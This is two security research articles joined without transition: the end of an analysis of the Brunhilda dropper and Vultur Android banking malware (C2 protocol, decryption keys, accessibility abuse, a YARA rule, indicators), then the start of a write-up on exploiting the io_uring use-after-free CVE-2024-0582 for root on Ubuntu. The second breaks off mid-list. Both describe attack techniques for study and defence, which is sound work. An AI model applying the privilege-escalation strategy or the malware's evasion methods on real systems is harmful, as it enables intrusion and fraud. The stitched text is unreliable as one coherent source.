{"id":"6500","method":"application.register","params":{"package":"com.wsandroid.suite","device":"Android/10","model":"samsung GT-I900","country":"sv-SE","apps":"cHQubm92b2JhbmNvLm5iYXBwO3B0LnNhbnRhbmRlcnRvdHRhLm1vYmlsZXBhcnRpY3VsYXJlcztzYS5hbHJhamhpYmFuay50YWh3ZWVsYXBwO3NhLmNvbS5zZS5hbGthaHJhYmE7c2EuY29tLnN0Y3BheTtzYW1zdW5nLnNldHRpbmdzLnBhc3M7c2Ftc3VuZy5zZXR0aW5ncy5waW47c29mdGF4LnBla2FvLnBvd2VycGF5O3RzYi5tb2JpbGViYW5raW5nO3VrLmNvLmhzYmMuaHNiY3VrbW9iaWxlYmFua2luZzt1ay5jby5tYm5hLmNhcmRzZXJ2aWNlcy5hbmRyb2lkO3VrLmNvLm1ldHJvYmFua29ubGluZS5tb2JpbGUuYW5kcm9pZC5wcm9kdWN0aW9uO3VrLmNvLnNhbnRhbmRlci5zYW50YW5kZXJVSzt1ay5jby50ZXNjb21vYmlsZS5hbmRyb2lkO3VrLmNvLnRzYi5uZXdtb2JpbGViYW5rO3VzLnpvb20udmlkZW9tZWV0aW5nczt3aXQuYW5kcm9pZC5iY3BCYW5raW5nQXBwLm1pbGxlbm5pdW07d2l0LmFuZHJvaWQuYmNwQmFua2luZ0FwcC5taWxsZW5uaXVtUEw7d3d3LmluZ2RpcmVjdC5uYXRpdmVmcmFtZTtzZS5zd2VkYmFuay5tb2JpbA==","tag":"dropper2"}

Utilisation of legitimate package names

The dropper is a modified version of the legitimate McAfee Security app. In order to masquerade malicious actions, it contains functionality that the official McAfee Security app would have. This has proven to be effective for the threat actors, as the dropper currently has a very low detection rate when analysed on VirusTotal.

Figure 6: Brunhilda dropper’s detection rate on VirusTotal.

Next to modding the legitimate McAfee Security app, Vultur uses the official Android Accessibility Suite package name for its Accessibility Service. This will be further discussed in the execution flow section of this blog.

Figure 7: Snippet of Vultur’s AndroidManifest.xml file, where its Accessibility Service is defined with the Android Accessibility Suite package name.

Leveraging native code for payload decryption

Native code is typically written in languages like C or C++, which are lower-level than Java or Kotlin, the most popular languages used for Android application development. This means that the code is closer to the machine language of the processor, thus requiring a deeper understanding of lower-level programming concepts. Brunhilda and Vultur have started using native code for decryption of payloads, likely in order to make the samples harder to reverse engineer.

Distributing malicious code across multiple payloads

In this blog post we show how Brunhilda drops a total of 3 Vultur-related payloads: two APK files and one DEX file. We also showcase how payload #2 and #3 can effectively work together. This fragmentation can complicate the analysis process, as multiple components must be assembled to reveal the malware’s complete functionality.

Execution flow: A three-headed… bird?

While previous versions of Brunhilda delivered Vultur through a single payload, the latest variant now drops Vultur in three layers. The Brunhilda dropper in this campaign is a modified version of the legitimate McAfee Security app, which makes it seem harmless to the victim upon execution as it includes functionality that the official McAfee Security app would have.

Figure 8: The modded version of the McAfee Security app is launched.

In the background, the infected device registers with its C2 server through the /ejr/ endpoint and the application.register method. In the related HTTP POST request, the C2 is provided with the following information:

• Malware package name (as the dropper is a modified version of the McAfee Security app, it sends the official com.wsandroid.suite package name);
• Android version;
• Device model;
• Language and country code (example: sv-SE);
• Base64 encoded list of installed applications;
• Tag (dropper campaign name, example: dropper2).

The server response is decrypted and stored in a SharedPreference key named 9bd25f13-c3f8-4503-ab34-4bbd63004b6e, where the value indicates whether the registration was successful or not. After successfully registering the bot with the dropper C2, the first Vultur payload is eventually decrypted and installed from an onClick() method.

Figure 9: Decryption and installion of the first Vultur payload.

In this sample, the encrypted data is hidden in a file named 78a01b34-2439-41c2-8ab7-d97f3ec158c6 that is stored within the app’s “assets” directory. When decrypted, this will reveal an APK file to be installed.

The decryption algorithm is implemented in native code, and reveals that it uses AES/ECB/PKCS5Padding to decrypt the first embedded file. The Lib.d() function grabs a substring from index 6 to 22 of the second argument (IPIjf4QWNMWkVQN21ucmNiUDZaVw==) to get the decryption key. The key used in this sample is: QWNMWkVQN21ucmNi (key varies across samples). With this information we can decrypt the 78a01b34-2439-41c2-8ab7-d97f3ec158c6 file, which brings us another APK file to examine: the first Vultur payload.

Layer 1: Vultur unveils itself

The first Vultur payload also contains the application.register method. The bot registers itself again with the C2 server as observed in the dropper sample. This time, it sends the package name of the current payload (se.accessibility.app in this example), which is not a modded application. The “tag” that was related to the dropper campaign is also removed in this second registration request. The server response contains an encrypted token for further communication with the C2 server and is stored in the SharedPreference key f9078181-3126-4ff5-906e-a38051505098.

Figure 10: Decompiled code snippet that shows the data to be sent to the C2 server during bot registration.

The main purpose of this first payload is to obtain Accessibility Service privileges and install the next Vultur APK file. Apps with Accessibility Service permissions can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities, such as keylogging, automatically granting itself additional permissions, monitoring foreground apps and overlaying them with phishing windows.

In order to gain further control over the infected device, this payload displays custom HTML code that contains instructions to enable Accessibility Service permissions. The HTML code to be displayed in a WebView is retrieved from the installer.config C2 method, where the HTML code is stored in the SharedPreference key bbd1e64e-eba3-463c-95f3-c3bbb35b5907.

Figure 11: HTML code is loaded in a WebView, where the APP_NAME variable is replaced with the text “McAfee Master Protection”.

In addition to the HTML content, an extra warning message is displayed to further convince the victim into enabling Accessibility Service permissions for the app. This message contains the text “Your system not safe, service McAfee Master Protection turned off. For using full device protection turn it on.” When the warning is displayed, it also sets the value of the SharedPreference key 1590d3a3-1d8e-4ee9-afde-fcc174964db4 to true. This value is later checked in the onAccessibilityEvent() method and the onServiceConnected() method of the malicious app’s Accessibility Service.

ANALYST COMMENT
An important observation here, is that the malicious app is using the com.google.android.marvin.talkback package name for its Accessibility Service. This is the package name of the official Android Accessibility Suite, as can be seen from the following link: https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback.
The implementation is of course different from the official Android Accessibility Suite and contains malicious code.

When the Accessibility Service privileges have been enabled for the payload, it automatically grants itself additional permissions to install apps from unknown sources, and installs the next payload through the UpdateActivity.

Figure 12: Decryption and installation of the second Vultur payload.

The second encrypted APK is hidden in a file named data that is stored within the app’s “assets” directory. The decryption algorithm is again implemented in native code, and is the same as in the dropper. This time, it uses a different decryption key that is derived from the DXMgKBY29QYnRPR1k1STRBNTZNUw== string. The substring reveals the actual key used in this sample: Y29QYnRPR1k1STRB (key varies across samples). After decrypting, we are presented with the next layer of Vultur.

Layer 2: Vultur descends

The second Vultur APK contains more important functionality, such as AlphaVNC and ngrok setup, displaying of custom HTML code in WebViews, screen recording, and more. Just like the previous versions of Vultur, the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.

This second Vultur payload also uses the com.google.android.marvin.talkback (Android Accessibility Suite) package name for the malicious Accessibility Service. From here, there are multiple references to methods invoked from another file: the final Vultur payload. This time, the payload is not decrypted from native code. In this sample, an encrypted file named a.int is decrypted using AES/CFB/NoPadding with the decryption key SBhXcwoAiLTNIyLK (stored in SharedPreference key dffa98fe-8bf6-4ed7-8d80-bb1a83c91fbb). We have observed the same decryption key being used in multiple samples for decrypting payload #3.

Figure 13: Decryption of the third Vultur payload.

Furthermore, from payload #2 onwards, Vultur uses encrypted SharedPreferences for further hiding of malicious configuration related key-value pairs.

Layer 3: Vultur strikes

The final payload is a Dalvik Executable (DEX) file. This decrypted DEX file holds Vultur’s core functionality. It contains the references to all of the C2 methods (used in communication from bot to C2 server, in order to send or retrieve information) and FCM commands (used in communication from C2 server to bot, in order to perform actions on the infected device).

An important observation here, is that code defined in payload #3 can be invoked from payload #2 and vice versa. This means that these final two files effectively work together.

Figure 14: Decompiled code snippet showing some of the FCM commands implemented in Vultur payload #3.

The last Vultur payload does not contain its own Accessibility Service, but it can interact with the Accessibility Service that is implemented in payload #2.

C2 Communication: Vultur finds its voice

When Vultur infects a device, it initiates a series of communications with its designated C2 server. Communications related to C2 methods such as application.register and vnc.blocked.packages occur using JSON-RPC 2.0 over HTTPS. These requests are sent from the infected device to the C2 server to either provide or receive information.

Actual vultures lack a voice box; their vocalisations include rasping hisses and grunts [⁴]. While the communication in older variants of Vultur may have sounded somewhat similar to that, you could say that the threat actors have developed a voice box for the latest version of Vultur. The content of the aforementioned requests are now AES encrypted and Base64 encoded, just like the server response.

Next to encrypted communication over HTTPS, the bot can receive commands via Firebase Cloud Messaging (FCM). FCM is a cross-platform messaging solution provided by Google. The FCM related commands are sent from the C2 server to the infected device to perform actions on it.

During our investigation of the latest Vultur variant, we identified the C2 endpoints mentioned below.

C2 methods in Brunhilda dropper

The commands below are sent from the infected device to the C2 server to either provide or receive information.

C2 methods in Vultur

The commands below are sent from the infected device to the C2 server to either provide or receive information.

FCM commands in Vultur

The commands below are sent from the C2 server to the infected device via Firebase Cloud Messaging in order to perform actions on the infected device. The new commands use IDs instead of names that describe their functionality. These command IDs are the same in different samples.

Detection

Writing YARA rules to detect Android malware can be challenging, as APK files are ZIP archives. This means that extracting all of the information about the Android application would involve decompressing the ZIP, parsing the XML, and so on. Thus, most analysts build YARA rules for the DEX file. However, DEX files, such as Vultur payload #3, are less frequently submitted to VirusTotal as they are uncovered at a later stage in the infection chain. To maximise our sample pool, we decided to develop a YARA rule for the Brunhilda dropper. We discovered some unique hex patterns in the dropper APK, which allowed us to create the YARA rule below.

rule brunhilda_dropper
{
  meta:
    author = "Fox-IT, part of NCC Group"
    description = "Detects unique hex patterns observed in Brunhilda dropper samples."
    target_entity = "file"
  strings:
    $zip_head = "PK"
    $manifest = "AndroidManifest.xml"
    $hex1 = {63 59 5c 28 4b 5f}
    $hex2 = {32 4a 66 48 66 76 64 6f 49 36}
    $hex3 = {63 59 5c 28 4b 5f}
    $hex4 = {30 34 7b 24 24 4b}
    $hex5 = {22 69 4f 5a 6f 3a}
  condition:
    $zip_head at 0 and $manifest and #manifest >= 2 and 2 of ($hex*)
}

Wrap-up

Vultur’s recent developments have shown a shift in focus towards maximising remote control over infected devices. With the capability to issue commands for scrolling, swipe gestures, clicks, volume control, blocking apps from running, and even incorporating file manager functionality, it is clear that the primary objective is to gain total control over compromised devices.

Vultur has a strong correlation to Brunhilda, with its C2 communication and payload decryption having the same implementation in the latest variants. This indicates that both the dropper and Vultur are being developed by the same threat actors, as has also been uncovered in the past.

Furthermore, masquerading malicious activity through the modification of legitimate applications, encryption of traffic, and the distribution of functions across multiple payloads decrypted from native code, shows that the actors put more effort into evading detection and complicating analysis.

During our investigation of recently submitted Vultur samples, we observed the addition of new functionality occurring shortly after one another. This suggests ongoing and active development to enhance the malware’s capabilities. In light of these observations, we expect more functionality being added to Vultur in the near future.

Indicators of Compromise

Analysed samples

Note: Vultur payloads #1 and #2 related to Brunhilda dropper 26f9e19c2a82d2ed4d940c2ec535ff2aba8583ae3867502899a7790fe3628400 are the same as Vultur payloads #2 and #3 in the latest variants. The dropper in this case only drops two payloads, where the latest versions deploy a total of three payloads.

C2 servers

• safetyfactor[.]online
• cloudmiracle[.]store
• flandria171[.]appspot[.]com (FCM)
• newyan-1e09d[.]appspot[.]com (FCM)

Dropper distribution URLs

• mcafee[.]960232[.]com
• mcafee[.]353934[.]com
• mcafee[.]908713[.]com
• mcafee[.]784503[.]com
• mcafee[.]053105[.]com
• mcafee[.]092877[.]com
• mcafee[.]582630[.]com
• mcafee[.]581574[.]com
• mcafee[.]582342[.]com
• mcafee[.]593942[.]com
• mcafee[.]930204[.]com

References

1. https://resources.prodaft.com/brunhilda-daas-malware-report ↩︎
2. https://www.threatfabric.com/blogs/vultur-v-for-vnc ↩︎
3. https://www.threatfabric.com/blogs/the-attack-of-the-droppers ↩︎
4. https://www.wildlifecenter.org/vulture-facts ↩︎

By Oriol Castejón

Overview

This post discusses a use-after-free vulnerability, CVE-2024-0582, in io_uring in the Linux kernel. Despite the vulnerability being patched in the stable kernel in December 2023, it wasn’t ported to Ubuntu kernels for over two months, making it an easy 0day vector in Ubuntu during that time.

In early January 2024, a Project Zero issue for a recently fixed io_uring use-after-free (UAF) vulnerability (CVE-2024-0582) was made public. It was apparent that the vulnerability allowed an attacker to obtain read and write access to a number of previously freed pages. This seemed to be a very powerful primitive: usually a UAF gets you access to a freed kernel object, not a whole page – or even better, multiple pages. As the Project Zero issue also described, it was clear that this vulnerability should be easily exploitable: if an attacker has total access to free pages, once these pages are returned to a slab cache to be reused, they will be able to modify any contents of any object allocated within these pages. In the more common situation, the attacker can modify only a certain type of object, and possibly only at certain offsets or with certain values.

Moreover, this fact also suggests that a data-only exploit should be possible. In general terms, such an exploit does not rely on modifying the code execution flow, by building for instance a ROP chain or using similar techniques. Instead, it focuses on modifying certain data that ultimately grants the attacker root privileges, such as making read-only files writable by the attacker. This approach makes exploitation more reliable, stable, and allows bypassing some exploit mitigations such as Control-Flow Integrity (CFI), as the instructions executed by the kernel are not altered in any way.

Finally, according to the Project Zero issue, this vulnerability was present in the Linux kernel from versions starting at 6.4 and prior to 6.7. At that moment, Ubuntu 23.10 was running a vulnerable verison of 6.5 (and somewhat later so was Ubuntu 22.04 LTS), so it was a good opportunity to exploit the patch gap, understand how easy it would be for an attacker to do that, and how long they might possess an 0day exploit based on an Nday.

More precisely:

• The vulnerability was patched in stable release 6.6.5 on December 8, 2023.
• The Project Zero issue was made public one month later, January 8, 2024.
• The issue was patched in the Ubuntu kernel 6.5.0-21 which was released on February 22, 2024, for both Ubuntu 22.04 LTS Jammy and Ubuntu 23.10 Mantic .

This post describes the data-only exploit strategy that we implemented, allowing a non-privileged user (and without the need of unprivileged user namespaces) to achieve root privileges on affected systems. First, a general overview of the io_uring interface is given, as well as some more specific details of the interface relevant to this vulnerability. Next, an analysis of the vulnerability is provided. Finally, a strategy for a data-only exploit is presented.

Preliminaries

The io_uring interface is an asynchronous I/O API for Linux created by Jens Axboe and introduced in the Linux kernel version 5.1. Its goal is to improve performance of applications with a high number of I/O operations. It provides interfaces similar to functions like read()  and write(), for example, but requests are satisfied in an asynchronous manner to avoid the context switching overhead caused by blocking system calls.

The io_uring interface has been a bountiful target for a lot of vulnerability research; it was disabled in ChromeOS, production Google servers, and restricted in Android. As such, there are many blog posts that explain it with a lot of detail. Some relevant references are the following:

• Put an io_uring on it – Exploiting the Linux Kernel, a writeup for an exploit targeting an io_uring operation that provides the same functionality (IORING_OP_PROVIDE_BUFFERS) as the vulnerability discussed here (IORING_REGISTER_PBUF_RING), and that has also a broad overview of this subsystem.
• CVE-2022-29582 An io_uring vulnerability, where a cross-cache exploit is described. While the exploit described in our blog post is not strictly speaking cross-cache, there is some similarity between the two exploit strategies. It also provides an explanation of slab caches and the page allocator relevant to our exploit strategy.
• Escaping the Google kCTF Container with a Data-Only Exploit, where a different strategy for data-only exploit of an io_uring vulnerability is described.
• Conquering the memory through io_uring – Analysis of CVE-2023-2598, a writeup of a vulnerability that yields a very similar exploit primitive to ours. In this case, however, the exploit strategy relies on manipulating a structure associated with a socket, instead of manipulating file structures.

In the next subsections we give an overview of the io_uring interface. We pay special attention to the Provided Buffer Ring functionality, which is relevant to the vulnerability discussed in this post. The reader can also check “What is io_uring?”, as well as the above references for alternative overviews of this subsystem.

The io_uring Interface

The basis of io_uring is a set of two ring buffers used for communication between user and kernel space. These are:

• The submission queue (SQ), which contains submission queue entries (SQEs) describing a request for an I/O operation, such as reading or writing to a file, etc.
• The completion queue (CQ), which contains completion queue entries (CQEs) that correspond to SQEs that have been processed and completed.

This model allows executing a number of I/O requests to be performed asynchronously using a single system call, while in a synchronous manner each request would have typically corresponded to a single system call. This reduces the overhead caused by blocking system calls, thus improving performance. Moreover, the use of shared buffers also reduces the overhead as no data between user and kernelspace has to be transferred.

The io_uring API consists of three system calls:

• io_uring_setup()
• io_uring_register()
• io_uring_enter()

The io_uring_setup() System Call

The io_uring_setup() system call sets up a context for an io_uring instance, that is, a submission and a completion queue with the indicated number of entries each one. Its prototype is the following:

				
					int io_uring_setup(u32 entries, struct io_uring_params *p);
				
			

Its arguments are:

• entries: It determines how many elements the SQ and CQ must have at the minimum.
• params: It can be used by the application to pass options to the kernel, and by the kernel to pass information to the application about the ring buffers.

On success, the return value of this system call is a file descriptor that can be later used to perform operation on the io_uring instance.

The io_uring_register() System Call

The io_uring_register() system call allows registering resources, such as user buffers, files, etc., for use in an io_uring instance. Registering such resources makes the kernel map them, avoiding future copies to and from userspace, thus improving performance. Its prototype is the following:

				
					int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args);
				
			

Its arguments are:

• fd: The file io_uring file descriptor returned by the io_uring_setup() system call.
• opcode: The specific operation to be executed. It can have certain values such as IORING_REGISTER_BUFFERS, to register user buffers, or IORING_UNREGISTER_BUFFERS, to release the previously registered buffers.
• arg: Arguments passed to the operation being executed. Their type depends on the specific opcode being passed.
• nr_args: Number of arguments in arg being passed.

On success, the return value of this system call is either zero or a positive value, depending on the opcode used.

Provided Buffer Rings

An application might need to have different types of registered buffers for different I/O requests. Since kernel version 5.7, to facilitate managing these different sets of buffers, io_uring allows the application to register a pool of buffers that are identified by a group ID. This is done using the IORING_REGISTER_PBUF_RING opcode in the io_uring_register() system call.

More precisely, the application starts by allocating a set of buffers that it wants to register. Then, it makes the io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING, specifying a group ID with which these buffers should be associated, a start address of the buffers, the length of each buffer, the number of buffers, and a starting buffer ID. This can be done for multiple sets of buffers, each one having a different group ID.

Finally, when submitting a request, the application can use the IOSQE_BUFFER_SELECT flag and provide the desired group ID to indicate that a provided buffer ring from the corresponding set should be used. When the operation has been completed, the buffer ID of the buffer used for the operation is passed to the application via the corresponding CQE.

Provided buffer rings can be unregistered via the io_uring_register() system call using the IORING_UNREGISTER_PBUF_RING opcode.

User-mapped Provided Buffer Rings

In addition to the buffers allocated by the application, since kernel version 6.4, io_uring allows a user to delegate the allocation of provided buffer rings to the kernel. This is done using the IOU_PBUF_RING_MMAP flag passed as an argument to io_uring_register(). In this case, the application does not need to previously allocate these buffers, and therefore the start address of the buffers does not have to be passed to the system call. Then, after io_uring_register() returns, the application can mmap() the buffers into userspace with the offset set as:

				
					IORING_OFF_PBUF_RING | (bgid ＞＞ IORING_OFF_PBUF_SHIFT)
				
			

where bgid is the corresponding group ID. These offsets, as well as others used to mmap() the io_uring data, are defined in include/uapi/linux/io_uring.h:

				
					/*
 * Magic offsets for the application to mmap the data it needs
 */
#define IORING_OFF_SQ_RING			0ULL
#define IORING_OFF_CQ_RING			0x8000000ULL
#define IORING_OFF_SQES				0x10000000ULL
#define IORING_OFF_PBUF_RING		0x80000000ULL
#define IORING_OFF_PBUF_SHIFT		16
#define IORING_OFF_MMAP_MASK		0xf8000000ULL
				
			

The function that handles such an mmap() call is io_uring_mmap():

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/io_uring.c#L3439

static __cold int io_uring_mmap(struct file *file, struct vm_area_struct *vma)
{
	size_t sz = vma-＞vm_end - vma-＞vm_start;
	unsigned long pfn;
	void *ptr;

	ptr = io_uring_validate_mmap_request(file, vma-＞vm_pgoff, sz);
	if (IS_ERR(ptr))
		return PTR_ERR(ptr);

	pfn = virt_to_phys(ptr) ＞＞ PAGE_SHIFT;
	return remap_pfn_range(vma, vma-＞vm_start, pfn, sz, vma-＞vm_page_prot);
}
				
			

Note that remap_pfn_range() ultimately creates a mapping with the VM_PFNMAP flag set, which means that the MM subsystem will treat the base pages as raw page frame number mappings wihout an associated page structure. In particular, the core kernel will not keep reference counts of these pages, and keeping track of it is the responsability of the calling code (in this case, the io_uring subsystem).

The io_uring_enter() System Call

The io_uring_enter() system call is used to initiate and complete I/O using the SQ and CQ that have been previously set up via the io_uring_setup() system call. Its prototype is the following:

				
					int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig);
				
			

Its arguments are:

• fd: The io_uring file descriptor returned by the io_uring_setup() system call.
• to_submit: Specifies the number of I/Os to submit from the SQ.
• flags: A bitmask value that allows specifying certain options, such as IORING_ENTER_GETEVENTS, IORING_ENTER_SQ_WAKEUP, IORING_ENTER_SQ_WAIT, etc.
• sig: A pointer to a signal mask. If it is not NULL, the system call replaces the current signal mask by the one pointed to by sig, and when events become available in the CQ restores the original signal mask.

Vulnerability

The vulnerability can be triggered when an application registers a provided buffer ring with the IOU_PBUF_RING_MMAP flag. In this case, the kernel allocates the memory for the provided buffer ring, instead of it being done by the application. To access the buffers, the application has to mmap() them to get a virtual mapping. If the application later unregisters the provided buffer ring using the IORING_UNREGISTER_PBUF_RING opcode, the kernel frees this memory and returns it to the page allocator. However, it does not have any mechanism to check whether the memory has been previously unmapped in userspace. If this has not been done, the application has a valid memory mapping to freed pages that can be reallocated by the kernel for other purposes. From this point, reading or writing to these pages will trigger a use-after-free.

The following code blocks show the affected parts of functions relevant to this vulnerability. Code snippets are demarcated by reference markers denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker. The code corresponds to the Linux kernel version 6.5.3, which corresponds to the version used in the Ubuntu kernel 6.5.0-15-generic.

Registering User-mapped Provided Buffer Rings

The handler of the IORING_REGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_register_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L537

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl, *free_bl = NULL;
	int ret;

[1]

	if (copy_from_user(＆reg, arg, sizeof(reg)))
		return -EFAULT;

[Truncated]

	if (!is_power_of_2(reg.ring_entries))
		return -EINVAL;

[2]

	/* cannot disambiguate full vs empty due to head/tail size */
	if (reg.ring_entries ＞= 65536)
		return -EINVAL;

	if (unlikely(reg.bgid io_bl)) {
		int ret = io_init_bl_list(ctx);
		if (ret)
			return ret;
	}

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (bl) {
		/* if mapped buffer ring OR classic exists, don't allow */
		if (bl-＞is_mapped || !list_empty(＆bl-＞buf_list))
			return -EEXIST;
	} else {

[3]

		free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
		if (!bl)
			return -ENOMEM;
	}

[4]

	if (!(reg.flags ＆ IOU_PBUF_RING_MMAP))
		ret = io_pin_pbuf_ring(＆reg, bl);
	else
		ret = io_alloc_pbuf_ring(＆reg, bl);

[Truncated]

	return ret;
}
				
			

The function starts by copying the provided arguments into an io_uring_buf_reg structure reg [1]. Then, it checks that the desired number of entries is a power of two and is strictly less than 65536 [2]. Note that this implies that the maximum number of allowed entries is 32768.

Next, it checks whether a provided buffer list with the specified group ID reg.bgid exists and, in case it does not, an io_buffer_list structure is allocated and its address is stored in the variable bl [3]. Finally, if the provided arguments have the flag IOU_PBUF_RING_MMAP set, the io_alloc_pbuf_ring() function is called [4], passing in the address of the structure reg, which contains the arguments passed to the system call, and the pointer to the allocated buffer list structure bl.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L519

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
			      struct io_buffer_list *bl)
{
	gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
	size_t ring_size;
	void *ptr;

[5]

	ring_size = reg-＞ring_entries * sizeof(struct io_uring_buf_ring);

[6]

	ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
	if (!ptr)
		return -ENOMEM;

[7]

	bl-＞buf_ring = ptr;
	bl-＞is_mapped = 1;
	bl-＞is_mmap = 1;
	return 0;
}
				
			

The io_alloc_pbuf_ring() function takes the number of ring entries specified in reg->ring_entries and computes the resulting size ring_size by multiplying it by the size of the io_uring_buf_ring structure [5], which is 16 bytes. Then, it requests a number of pages from the page allocator that can fit this size via a call to __get_free_pages() [6]. Note that for the maximum number of allowed ring entries, 32768, ring_size is 524288 and thus the maximum number of 4096-byte pages that can be retrieved is 128. The address of the first page is then stored in the io_buffer_list structure, more precisely in bl->buf_ring [7]. Also, bl->is_mapped and bl->is_mmap are set to 1.

Unregistering Provided Buffer Rings

The handler of the IORING_UNREGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_unregister_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L601

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl;

[8]

    if (copy_from_user(＆reg, arg, sizeof(reg)))
		return -EFAULT;
	if (reg.resv[0] || reg.resv[1] || reg.resv[2])
		return -EINVAL;
	if (reg.flags)
		return -EINVAL;

[9]

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (!bl)
		return -ENOENT;
	if (!bl-＞is_mapped)
		return -EINVAL;

[10]

	__io_remove_buffers(ctx, bl, -1U);
	if (bl-＞bgid ＞= BGID_ARRAY) {
		xa_erase(＆ctx-＞io_bl_xa, bl-＞bgid);
		kfree(bl);
	}
	return 0;
}
				
			

Again, the function starts by copying the provided arguments into a io_uring_buf_reg structure reg [8]. Then, it retrieves the provided buffer list corresponding to the group ID specified in reg.bgid and stores its address in the variable bl [9]. Finally, it passes bl to the function __io_remove_buffers() [10].

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L209

static int __io_remove_buffers(struct io_ring_ctx *ctx,
			       struct io_buffer_list *bl, unsigned nbufs)
{
	unsigned i = 0;

	/* shouldn't happen */
	if (!nbufs)
		return 0;

	if (bl-＞is_mapped) {
		i = bl-＞buf_ring-＞tail - bl-＞head;
		if (bl-＞is_mmap) {
			struct page *page;

[11]

			page = virt_to_head_page(bl-＞buf_ring);
            
[12]

			if (put_page_testzero(page))
				free_compound_page(page);
			bl-＞buf_ring = NULL;
			bl-＞is_mmap = 0;
		} else if (bl-＞buf_nr_pages) {

[Truncated]
				
			

In case the buffer list structure has the is_mapped and is_mmap flags set, which is the case when the buffer ring was registered with the IOU_PBUF_RING_MMAP flag [7], the function reaches [11]. Then, the page structure of the head page corresponding to the virtual address of the buffer ring bl->buf_ring is obtained. Finally, all the pages forming the compound page with head page are freed at [12], thus returning them to the page allocator.

Note that if the provided buffer ring is set up with IOU_PBUF_RING_MMAP, that is, it has been allocated by the kernel and not the application, the userspace application is expected to have previously mmap()ed this memory. Moreover, recall that since the memory mapping was created with the VM_PFNMAP flag, the reference count of the page structure was not modified during this operation. In other words, in the code above there is no way for the kernel to know whether the application has unmapped the memory before freeing it via the call to free_compound_page(). If this has not happened, a use-after-free can be triggered by the application by just reading or writing to this memory.

Exploitation

The exploitation mechanism presented in this post relies on how memory allocation works on Linux, so the reader is expected to have some familiarity with it. As a refresher, we highlight the following facts:

• The page allocator is in charge of managing memory pages, which are usually 4096 bytes. It keeps lists of free pages of order n, that is, memory chunks of page size multiplied by 2^n. These pages are served in a first-in-first-out basis.
• The slab allocator sits on top of the buddy allocator and keeps caches of commonly used objects (dedicated caches) or fixed-size objects (generic caches), called slab caches, available for allocation in the kernel. There are several implementations of slab allocators, but for the purpose of this post only the SLUB allocator, the default in modern versions of the kernel, is relevant.
• Slab caches are formed by multiple slabs, which are sets of one or more contiguous pages of memory. When a slab cache runs out of free slabs, which can happen if a large number of objects of the same type or size are allocated and not freed during a period of time, the operating system allocates a new slab by requesting free pages to the page allocator.

One of such cache slabs is the filp, which contains file structures. A filestructure, shown in the next listing, represents an open file.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/include/linux/fs.h#L961

struct file {
	union {
		struct llist_node	f_llist;
		struct rcu_head 	f_rcuhead;
		unsigned int 		f_iocb_flags;
	};

	/*
	 * Protects f_ep, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	fmode_t			f_mode;
	atomic_long_t		f_count;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	unsigned int		f_flags;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct hlist_head	*f_ep;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
	errseq_t		f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */
				
			

The most relevant fields for this exploit are the following:

• f_mode: Determines whether the file is readable or writable.
• f_pos: Determines the current reading or writing position.
• f_op: The operations associated with the file. It determines the functions to be executed when certain system calls such as read(), write(), etc., are issued on the file. For files in ext4 filesystems, this is equal to the ext4_file_operations variable.

Strategy for a Data-Only Exploit

The exploit primitive provides an attacker with read and write access to a certain number of free pages that have been returned to the page allocator. By opening a file a large number of times, the attacker can force the exhaustion of all the slabs in the filp cache, so that free pages are requested to the page allocator to create a new slab in this cache. In this case, further allocations of file structures will happen in the pages on which the attacker has read and write access, thus being able to modify them. In particular, for example, by modifying the f_mode field, the attacker can make a file that has been opened with read-only permissions to be writable.

This strategy was implemented to successfully exploit the following versions of Ubuntu:

• Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-15-generic.
• Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-17-generic.
• Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-15-generic.
• Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-17-generic.

The next subsections give more details on how this strategy can be carried out.

Triggering the Vulnerability

The strategy begins by triggering the vulnerability to obtain read and write access to freed pages. This can be done by executing the following steps:

• Making an io_uring_setup() system call to set up the io_uring instance.
